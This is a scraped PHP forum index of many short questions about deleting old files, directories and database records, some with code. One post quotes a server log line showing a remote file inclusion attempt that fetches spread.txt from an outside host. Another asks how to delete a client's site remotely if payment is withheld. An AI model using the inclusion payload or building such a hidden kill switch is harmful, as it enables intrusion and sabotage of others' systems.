Tracking Forums, Newsgroups, Maling Lists
Home Scripts Tutorials Tracker Forums
  Advanced Search
  HOME    TRACKER    PHP


SuperbHosting.net have generously sponsored dedicated servers to ensure a reliable and scalable dedicated hosting solution for BigResource.com.





Delete Files From A Dir Older Than A Week


The below should delete files from a dir older than a week. I set the $dtime to 0 to test the script but it deletes nothing. What is wrong? Code:




View Complete Forum Thread with Replies

Related Forum Messages:
Delete Entries 1 Week Old Or Older.
I have a query that's supposed to remove bulletin entries that are a week old and over, but its not working, and the "date" column is filled with "time();"

<?php mysql_query("DELETE FROM `bulletins` WHERE `date` > (time() + (3600*24*7))");?>

View Replies !
Delete Records Older Than 14 Days
Does anybody know how to make a script that automatically removes mySQL records older than 14 days?

View Replies !
Delete Record If Older Than 5 Minutes?
Can someone help me in writing a query command, to delete a record, if the last_update field on a record is older than 5 minutes?

My table has a last_update field, which holds a value as this for example: 2007-04-08 01:33:12

I need a query that when I access a php file, if a record is older than 5 minutes, it will delete it.

View Replies !
How To Delete All Database Entires Older Than 30 Days?
One of the fields in my database is called ad_date which is of date type and stored dates int he format YYYY-MM-DD. I would like to perform a DELETE SQL statement in my PHP script which deletes all records with an ad_date value older than 30 days.

I knoy this is also an SQL question, but it is the 'older than 30 days' part which I'm stuck with and so figured it would be better in the PHP forum as I think I need to use PHP to calculate todays date - 30 days.

View Replies !
Delete Records Since A Week
I've been trying to delete records since a week and i'm not able to do it. Before with this script, i was doing so many things at a time and i was confused.But, now, i just displaying the records from a table N trying to delete them.Would somebody pls guide me.

I just wanna set the delete flag(i.e, i want to set the RBS_DELETE column to Y or something) when i check a check box to delete it. I've some 5 records displaying on my form and i want to check 3 of them and when i check them and hit submit, i want the RBS_DELETE column to have some value. PHP Code:

View Replies !
Clearing Up Older Files
Wonder if you bunch can help me (again!)... i'm looking for a way to read the filenames and dates in a directory, and delete everything which is more than 24 hours old.

It's gonna be part of a garbage cleaning routine for old temporary downloaded files.

View Replies !
How To: DELETE * FROM Table WHERE Greater Than 2 Week
I am building a module that displays the headline from a page that had the most hits last week. I was able to figure this out in PHP. I would now like to know how to delete and records that are over 2 weeks old. Anyone know how to do this in the mysql query?

View Replies !
Delete Files - Check All Files In /home/radar/kabc*.png
Trying to figure out a code to do something that is probably simple, but I'm not able to find anything to combine to make it happen. Here is what i'd like to accomplish. Check all files in /home/radar/kabc*.png --- if those files are older than x hours, delete them. After deleting those files, I'd like to copy new "placefiles" in the place of the image, basically, copy test.png to kabc101.png (example filename). I'd like to not loop this process if the file size is equal to 123456 bytes exactly, and have the owner of those files a certain user.

What this is, is a radar software that I use to upload to my personal website, so if there's no weather going on, I don't use the radar software, and it's not updating the radar on the web, so, after so many hours of the software not uploading anything new, i'd like to find a way to have these placefiles put in place. Once I start my software again, it'll overwrite those files automatically. Does this seem like it's possible? Is it an easy task?

View Replies !
Display For The Week Of (fridays Date Of The Week).
I have a report that people can access online and it generates data for a given week until friday. In the title and on the report, I want to display For The Week Of (fridays date of the week).

Instead of writing a huge if - then statement array - is it possible for to simply have an expression that figures out what day it is and then tells me Fridays date - has anyone ever done anything like this.

View Replies !
Can't Delete My Own Files
i'm trying to create some directories on my server via a script, and copy standard files into them. it all goes smoothly, but i cannot delete the files when i log into my webserver's FTP. i'm guessing wrong chmod code, but its so long since i used unix. here is the code: Quote:

$h_name = "test";

copy("$_SERVER[DOCUMENT_ROOT]/photos/EXAMPLE_HOTEL.php","$_SERVER[DOCUMENT_ROOT]/photos/$h_name.php");
copy("$_SERVER[DOCUMENT_ROOT]/photos/EXAMPLE_HOTEL_window.php","$_SERVER[DOCUMENT_ROOT]/photos/{$h_name}_window.php");

mkdir("$_SERVER[DOCUMENT_ROOT]/photos/$h_name", 0777);

copy("$_SERVER[DOCUMENT_ROOT]/photos/EXAMPLE_index.html","$_SERVER[DOCUMENT_ROOT]/photos/$h_name/index.html");

View Replies !
Delete Files
I have a part of my site that will allow a user to create a group. When they create the group then can assign a picture to that group. I store the filename in the db and then I create create a folder for them on my web server and upload the image to there.

My question is if they choose to update their picture I want to delete the old file and then upload the new file that they choose to be their picture. How would I do this.

I know that I would have to run a query to get the old file name before updating it in the db but after I get that I'm not sure how to delete it from the web server.

I also know how to upload the file so that isn't a problem either, it's just the step before that of deleting it from the server.

View Replies !
How To Delete All Files Beginning With ... ?
I'm using PHP 4. I would like to delete all files in my directory
/mydir that match the regular expression

/mydir/temp*

What is the shortest way in which I can do this?

View Replies !
Delete Record And Files
I have a code that uploads images along with some info into a directory and database, this all works fine. I can delete the record but the images relevent to that record continue to exsist in my images directory. How would i set up a php code to delete a file in ../images when the record of its name is stored in a column in my database. Here is my delete record code:

View Replies !
Delete Certain Files From A Directory...
Is there any way to make a function that deletes all files of a certain EXTENSION? let's say ".txt" files... how could you use the unlink command to delete all files that have the extension ".txt"?? I know how to recursively unlink all files in a directory, but I can't seem to figure out how to delete all files with a certain extension...

View Replies !
Script To Delete Files
I have a website that is hosting mp3's. They are all named and the path is stored in mysql such as 1234.mp3. I am wanting to do a little cleanup and write a script that will check every mp3 file on the site, and then verify through a loop that the song exists in the DB. If not, I want to delete it. I know how to use unlink but am not sure how to setup a loop that will get the filename of every mp3 within a certain directory.

View Replies !
Delete Files Every X Hours
I need a simple snippet that'd point me in the right direction on how to delete all the files inside a folder every __ hours.

View Replies !
Scheduling To Delete Files
in my web site i have an option of building html pages dynamically but,by this i can't save the disk space,i want to delete the files in a schedule dynamically .

View Replies !
Delete Files That Contain Quotes
I created a file upload form. After uploading file that had a quotation mark in it, PHP escaped the quotation mark and now the file name has an illegal character in it. It seems that move_uploaded_file() allowed the file to have the forward slash. I've correct the escaping of quotes issue by using stripslashes on the 2nd parameter.

Now however any files already uploaded that have the illegal character can't seem to be deleted. I can't download them either through ftp. I am using an apache server hosted through site flip. Is there anything I can do to delete these files or am I stuck with them on the web host? Things I've tried. Renaming with PHP, renaming with FTP. None of those seem to work. Is there something I can install that will force a file rename even if it has invalid characters in it?

View Replies !
Delete Files That Are 4 Days Old
i have a code that deletes files that are certain days old, but i dont know exactly how old and i wanted to increase it to delete files that are 4 days old.

unlink $filename if $current - (stat $filename) [10] > 1 * 60 * 60 * 24;

View Replies !
Delete Files From A Directory
I am trying to made a script that will show all the files in a Directory….. Also I want to add the option to delete the files from the directory.

I can view the files on the directory the problem is when I add this line that add the option to delete the files in the directory
LINE--->27 echo "<a href="browserdir2.php/?k='.$link.'&ko=1">'.$file.'</a><br>";

The error message that I get is :

Parse error: syntax error, unexpected T_STRING, expecting ',' or '' in c:diphpwebrootrowserdir2.php on line 27

Code:

View Replies !
Delete Files Recursive
I have a problem and don't know where to begin. My default folder is export. This is where all the files comes in, with all kinds of extentions, but with also a lot of sub-folders. I have a text file with all the extentions, I like to delete from the export folder and all the subfolders. 1 extention at 1 row. Some of these extentions are 'exotic' like exe--fileslack ,so not only the common 3 characters extentions. Is there a way to delete those not wanted files automaticly, without harming the other extentions.

View Replies !
Delete All Files In A Directory
I delete all files in a directory if I don't know the names of the files? I would think I would want to do some kind of file_delete() but don't know if there's a way to have it delete all files that it finds in a certain directory.

View Replies !
Delete Temp Files
I have few GD galleries which work fine. The only problem are the temp files. Before processing pictures, they are copy in my temp directory (as a preview). Is there a way to have a script which will delete temp files which are note dated from today's date. It seems that $_files[date] do not exist.

View Replies !
How To Delete Files Uploaded And Now Owned By PHP
Within homes/ PHP creates a directory, it's an integer such as homes/999 or homes/345. Within that new directory, PHP uploads some graphics, .gif or .jpg.

The problem is, that directory and all those graphics are now "owned" by PHP, usually running as nobody or www. I can't delete them or copy them.

I've tried running a chown() within PHP to make myself the owner, but I get "operation not allowed".

The only solution I've found so far is to set umask(0), so that the directory and graphics have 777 permissions. I don't think that's very safe, though, is it?

Does anyone have any suggestions. I want to be able to delete or copy the files like they are mine, but only me or my group. I'm not running the server myself, but those who are seem willing to work with me.

View Replies !
Delete Files On Server Using Browser
I have several php files in a folder. I would like to have the possibility of deleting these files using my browser, rather than having to log onto the server and do that.

Reason? I am dealing with a slightly slippery client, in case he changes the password after i have put the entire site on it, i would like to be able to delete my files, in case i get stiffed on the payment.

Would appreciate any pseudo code/code on getting this done, if possible.

View Replies !
Delete A Directory And All Its Files And Sub-directories?
Does anyone know of, or have code that will delete a php directory and
all its sub directories and files. "unlink" and "rmdir" don't do this.
I'd prefer not to use "exec" with a system call but if that's the only
way, so be it.

View Replies !
Recursive Delete All Files/folders
I want to delete all file and folder recursivly under php code, can
anyone give me commend for this.

View Replies !
How To Delete All Sessions (session Files)?
What line(s) of PHP code can I use to delete ALL existing session files? I tried:

$_SESSION = array();
session_destroy();

......but those two lines appear to only delete the session file that was created for the current session.

View Replies !
Unlink (delete Files) With Asterix's?
is it possible to delete a file and use an asterix? (or any wildcard)
ie, I tried  @unlink(Username_CV_."*"); and @unlink(Username_CV_.*); to no success.

the ending is a date, so it could be Username_CV_june27_2007 or aug31 or whatever, and obviously I don't want to delete ALL the files from other users as well...

I guess I could store the file name in a table, but it would be nicer to not need that to simply delete simple a file..

View Replies !
Delete Files On Win2k - Permission Denied
I'm trying to delete local files within a php-script running on win2k (I'm loggend in as administrator, the script is not meant to run in a web-environment but only from commandline).

the problem is I get a "permission denied" when I try to delete the file with unlink($file) or try to move it with ($oldpath.$file,$newpath.$file). since I'm administrator there shouldn't be problems with win2k's file-permissions, the files I'm trying to delete are full accessible for everyone.
the php manual says that "unlink" probably won't work on windows but doesn't say how to delete files then?

View Replies !
Delete Records And Files In 1 Statement At Same Time?
How can i delete records and files in 1 statement at same time?

View Replies !
Delete Files From Server Based On Filename...
I need to open a folder on my server, then look at the files in the folder.... then if I find a file that meets a criteria - i want to delete it. for example, I have a file list such as

1_hello.jpg
1_boo.gif
2_raaaa.gif
4_mad.jpg
etc etc

The numbers at the beginning indicate the userid and an image they have uploaded... I need to open the folder, tell the script that anything starting with a "1_" should be deleted.

View Replies !
Check For Other Files With The Same Name But With A Differrent Extension And Delete Them
I'm using this to upload a file and then rename it to a format like 4-5.jpg: I would like to check for other files with the same name but with a differrent extension and delete them. How would i do that? PHP Code:

$tmp_name = $_FILES["pic"]["tmp_name"][$key];
      $name = $_FILES["pic"]["name"][$key];
      move_uploaded_file($tmp_name, "$archive_dir/$name");
      $ext = substr_replace($_FILES["pic"]["name"][$key],"",0,strpos ($_FILES["pic"]["name"][$key],"."));

      $new_fn[$key] = $item_no."-".$key.$ext;
      rename("$archive_dir/$name", "$archive_dir/$new_fn[$key]");

View Replies !
Define Files For View/edit/delete
I am working on this little file manager project, I know, there's lots out there. However, I couldn't find one that paged the results that didn't use a DB. Now that I have it set up (works great),

I'm not sure how to define the files and not mess up the paging - so that if it's a folder you can open it and work with the files, a photo you can view or delete it and if it's a .txt, .php. etc. you can edit it. Code:

View Replies !
How Do Delete All Of The User's Temporary Internet Files?
I have a site with a flash object. IE7 keep caching the photos of the flash. i tried clearstatcache() but it didn't.

View Replies !
How Can Delete Spaces And Special Chars At Files In Several Directories?
a mp3 file in a directory is named &#350;ebnem Ferah - S&#304;GARA.mp3
but it is nearly 900mb all of this files and nearly 20 directories I have..
do you know a way to rename this files name by easly?

View Replies !
Can't Delete Files On Folders Via Ftp :: Chmod(): Operation Not Permitted
I had some problems with an upload script i was working on. This has resulted in what has been uploaded undeletable. File that havebeen upload have there chmod set to 644. I tried changing this in the delete script but i am getting an error

chmod(): Operation not permitted

So i tried to delete via my ftp prog and get the same problem.

Does anyone know of a solution?

$filepath = "../../media/portfolio/".$clID."/";
if ($handle = opendir($filepath)) {
    while (false !== ($file1 = readdir($handle))) {
        if ($file1 != "." && $file1 != "..") {
        $old = umask(0);
        chmod($filepath.$file1, 0755);
            $del = unlink($filepath.$file1);
            umask($old);
        }
    }    
    closedir($handle);
    $del2 = rmdir("../../media/portfolio/".$clID);
}

View Replies !
PHP/Perl/Unix Virus: Delete Config.php Files Asap
There were some strange requests to my server asking for config.php
file (which I do not have in the requested location).

I did some investigation. Seems to be a virus written in perl,
exploiting a vulnerability in php code.

The requests are like this

216.120.231.252 - - [30/Aug/2006:13:28:03 -0500] "GET /algebra/about/history/config.php?returnpath=http://domates.1gig.biz/spread.txt? HTTP/1.1" 404 561 "-" "libwww-perl/5.805"

File spread.txt contains this:

View Replies !
Older PHP Manuals?
I'm trying to use the DOM XML functions, but because they're in development and my hosting provider only has 4.0.4 installed, I don't have the proper documentation. Does anyone know where I can locate an older version of the php manual?

View Replies !
Php Compatable With Older Browsers
are all the functions of php compatable with older browsers? if not what functions don't work?

View Replies !
Show Older Entries
I have a MySql table with the field "sentdate". How could I set up a query that selects only entries that have a sentdate that is for example 30 days old?

View Replies !
How Do I Get First Timestamp Older Than 24hours?
I would like to query results of post timestamps (say 10 results sorted in DESC order) and have it read the timestamp of the most recent... Then go through the remaining 9 results and return the next timestamp that is at least 24 hours (or 86,400 seconds) old or older...

Is an if/elseif/else the only way to do it or is there something more elegant/efficient?

Also, is there a way to stop it if there aren't 10 results available?

View Replies !
Download PDF In IE6 Older Versions
I have a script to download text and pdf documents from a site but am encountering problems in older versions of IE. I have adapted the script that we have in house to the following. If anyone can spot out any flaws or offer critique please comment. The main problem the client has is that a white screen appears when the button is clicked.

<input type="button" value="Download" onclick="window.location='/about_us/jobs/?action=downloadFile&amp;documentID={$key}'" />
private function downloadFile()
{
$documentID = intval(stripslashes(strip_tags($_GET['documentID'])));
if ($this->db->fetch_result($this->db->query("SELECT COUNT(*) FROM job_documents WHERE documentID = $documentID"))!=1) {
header('Location: /about_us/jobs/');
exit;
}
$jobID = $this->db->fetch_result($this->db->query("SELECT jobID FROM job_documents WHERE documentID = $documentID"));
$this->forceDownload($documentID,$jobID);
...

View Replies !
Deleting Older Entries.. (mysql)
I've a comment form.. I've allowed only 10 comments to be viewd, so when I submit new comments, I want to know how to delete older ID comments except the latest 10 comments. Means if there are 13 comments.. 13...3 shd be there and very 1st and 2nd(older) comments must be deleted.

View Replies !
Detect MSIE Older Than Using Less Than Operator?
Here is my attempt at detecting an MSIE browser (in this instance, older then 5.5). The first part works fine but I'm still in the wrong valley as far as the browser's version number goes. Code:

View Replies !
Query For Records Older Than A Date?
I need to write a query for a table that has records that are up to 5 years old. I need the query to return records that are older than 6 months only.

There is a date field in the table. Using date_sub and interval I know how to get records between today's date and an interval, but not records older than that interval.

select * from tables where date_checked BETWEEN DATE_SUB(CURRENT_DATE(),INTERVAL n DAY) AND CURRENT_DATE();

View Replies !
Deleteing MySQL Rows Older Than 1 Hour
Hi, as the title says, I have a mysql table which logs data, I have a timestamp field which collects what time the record was added, I really need to know howto setup a WHERE clause which will tell mysql to delete rows that are older than one hour, can anyone help?

View Replies !
Older GD Lib And Jpeg Photo Thumbnail Generation
I'm using a server which only has GD version 1.6.2, with jpeg support
enabled. I'm trying to use it to make thumbnails of jpeg photos as they are
uploaded from a webform, but moving from my development server (which has GD
2.x) to the real server I noticed the lower GD lib version, and that it
doesn't support imagecreatetruecolor. Without this, using imagecreate, the
converted image always come out almost always a single colour, or with very
little variation in the colour. Using some images I found in XP as a test,
one has green plants with a few bright red flowers - if i just use
imagecreate, the bright red flowers are green too. I'm using
imagecopyresampled to do the copy. Is there another way to do this without
getting newer libraries installed on the server?

View Replies !
Dates - Mysql Database Older Than 7 Days
I would like to delete all the records in mysql database that is older than 7 days.
How do i go about selecting it in the database ( currentdate - 7).

View Replies !
MYSQL PHP Code Works With Older Version.
I am having issue with they way that my PHP MYSQL code works with the MYSQL version 5.0.45 Here is the Code that inserts the data into the database. The thing is the tables that have a int in MYSQl error when there is no value present. Code:

View Replies !
MySQL Dont Show Older Than Today
I'm making a database for upcoming shows. so, what I wonder now, is there a way to show only upcoming shows, and just exclude the shows older than todays date? what I've got atm is: Code:

View Replies !
Migrating Existing Site From Older Version Of PHP & MySQL
There's an existing website (on a single box running Linux, Apache, PHP 4.1.2, MySQL 3.23.58) that I need to migrate over to another setup (2 boxes, the web/app server running MS 2003 Server, IIS6, PHP 5.2.4 and a DB box running on SuSE, MySQL 5.0.26). I've gotten the connection between the two new boxes to work, but a lot of the code from the original website doesn't seem to work.

Is there anything obvious I should know about migrating code from the older setup to the newer one, which is running different versions of PHP and MySQL. I've attached 2 php files (both renamed to txt). When I bring up the dir_master.php file, the only thing that comes up is the Name, Affiliation, and Department headers from the contents.php file.... nothing gets displayed from the MySQL database. Like I said, I have been able to pull stuff out of the DB using code I wrote myself to test it, so I'm sure the PHP to MySQL connection is working.

I think the issue might be with the PHP code and how the HTML is embedded in it, but like I said, this isn't my field of expertise. I'm hoping there's a quick syntax fix that I can use without having to completly rewrite everything.... especially since there's a number of PHP files that will need to get changed.

View Replies !

Copyright © 2005-08 www.BigResource.com, All rights reserved